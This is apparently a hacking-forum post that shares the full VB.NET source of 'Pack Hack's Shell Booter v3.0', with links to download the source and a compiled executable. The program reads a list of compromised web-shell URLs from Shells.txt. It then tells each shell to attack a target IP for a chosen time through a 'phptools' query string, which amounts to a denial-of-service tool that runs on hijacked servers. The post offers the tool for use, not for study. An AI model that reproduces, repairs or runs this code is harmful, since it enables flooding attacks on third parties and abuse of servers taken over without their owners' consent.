Pack Hack's Shell Booter v3.0 Source

Pack Hack's Shell Booter v3.0 is the working version of my shell booter, Until recently, when I uploaded my TuT to youtube on how to make a shell booter I realized I wasn't doing Webrequests correctly. This is the fixed version.




Imports System
Imports System.IO
Imports System.Net
Imports System.Text
Imports System.Threading
Imports System.Net.WebException

Public Class Form1
   Dim path As String
   Dim X, Y As Integer
   Dim NewPoint As New System.Drawing.Point
   Private CurrentIndex As Integer = 0

#Region "Move Panel"
   Private Sub Panel1_MouseDown1(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Panel1.MouseDown
       X = Control.MousePosition.X - Me.Location.X
       Y = Control.MousePosition.Y - Me.Location.Y
   End Sub
   Private Sub Panel1_MouseMove1(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Panel1.MouseMove
       If e.Button = Windows.Forms.MouseButtons.Left Then
           NewPoint = Control.MousePosition
           NewPoint.X -= (X)
           NewPoint.Y -= (Y)
           Me.Location = NewPoint
       End If
   End Sub
#End Region


#Region "Form Buttons"

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       Me.WindowState = System.Windows.Forms.FormWindowState.Minimized
   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Me.Close()
   End Sub

   Private Sub BootBut_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BootBut.Click
       Boot()
       '//This is to do a threadpool, I couldn't get it to work correctly
       'Dim Threads As Integer
       'Dim Dig1 As Integer
       'Dig1 = TextBox1.Text
       'Threads = Dig1 - 1
       'For i As Integer = 0 To Threads
       '   ThreadPool.QueueUserWorkItem(AddressOf DoProcess, ListBox1.Items(i).ToString)
       '   CurrentIndex += 1
       'Next
   End Sub

   Private Sub AddBut_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AddBut.Click
       AddShells()
       ShellCount()
   End Sub

   Private Sub ClearBut_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClearBut.Click
       ListBox1.Items.Clear()
       ShellCount()
   End Sub

   Private Sub SaveBut_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SaveBut.Click
       SaveShells()
   End Sub

#End Region

#Region "Work"


   Private Sub DoProcess(ByVal obj As Object)
       Dim URL As String = DirectCast(obj, String)
       Dim request As HttpWebRequest = HttpWebRequest.Create(URL + "?act=phptools&host=" + IPT.Text + "&time=" + Time.Text)
       Dim response As HttpWebResponse
       response = CType(request.GetResponse, HttpWebResponse)
       Dim dataStream As Stream = response.GetResponseStream
       Dim SR As New StreamReader(dataStream, Encoding.UTF8)
       Dim responseFromServer As String = SR.ReadToEnd
       ListBox2.Items.Add(URL)
       ListBox2.Items.Add(responseFromServer.ToString)
       If CurrentIndex >= ListBox1.Items.Count Then Return
       ThreadPool.QueueUserWorkItem(AddressOf DoProcess, ListBox1.Items(CurrentIndex).ToString)
       CurrentIndex += 1
   End Sub










   Public Sub Boot()
       Dim i As Integer = 0
       Dim Shll = ListBox1.Items.Count
       StartShellAttackCount()
       For Each item In ListBox1.Items
           Dim request As WebRequest = _
             WebRequest.Create(ListBox1.Items(i) + "?act=phptools&host=" + IPT.Text + "&time=" + Time.Text)
           Try
               Dim response As WebResponse = request.GetResponse()
               ListBox2.Items.Add(CType(response, HttpWebResponse).StatusDescription)
               Dim dataStream As Stream = response.GetResponseStream()
               Dim SR As New StreamReader(dataStream)
               Dim responseFromServer As String = SR.ReadToEnd()
               ListBox2.Items.Add(ListBox1.Items(i))
               ListBox2.Items.Add("Sending Attack")
               ListBox2.Items.Add(responseFromServer)
               i = i + 1
               Label7.Text = i
               SR.Close()
               response.Close()
           Catch ex As System.Net.WebException
               If ex.Status = WebExceptionStatus.ProtocolError Then
                   Return
               End If
           End Try
           Return
       Next item
   End Sub

   Public Sub StartShellAttackCount()
       Label7.Visible = True
       Label8.Visible = True
       Label9.Visible = True
       Label10.Visible = True
       Refresh()
       ShellCount()
   End Sub

   Public Sub ShellCount()
       Label5.Text = ListBox1.Items.Count
       Label10.Text = ListBox1.Items.Count
   End Sub

   Public Sub SaveShells()
       Using FD As New SaveFileDialog()
           FD.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
           If FD.ShowDialog = Windows.Forms.DialogResult.OK Then
               Dim FileContent As String = ""
               For Each i As String In ListBox1.Items
                   FileContent &= i & vbCrLf
               Next
               IO.File.WriteAllText(FD.FileName, FileContent)
           End If
       End Using
   End Sub

   Public Sub AddShells()
       Using FD As New OpenFileDialog()
           FD.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
           If FD.ShowDialog = Windows.Forms.DialogResult.OK Then
               ListBox1.Items.Clear()
               ListBox1.Items.AddRange(IO.File.ReadAllLines(FD.FileName))
           End If
       End Using
   End Sub

   Public Sub LoadShells()
       Dim folder As String = Directory.GetCurrentDirectory()
       Dim Path = folder + "\Shells.txt"
       'MessageBox.Show(Path)
       If My.Computer.FileSystem.FileExists(Path) Then
           Dim lines() As String = IO.File.ReadAllLines(Path)
           ListBox1.Items.AddRange(lines)
       Else
           MessageBox.Show("Shells.txt not found!")
       End If
   End Sub

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       LoadShells()
       ShellCount()

   End Sub



#End Region





End Class









Source Code Download: adf.ly/vQzGH
Compiled .exe Download: adf.ly/vXTl5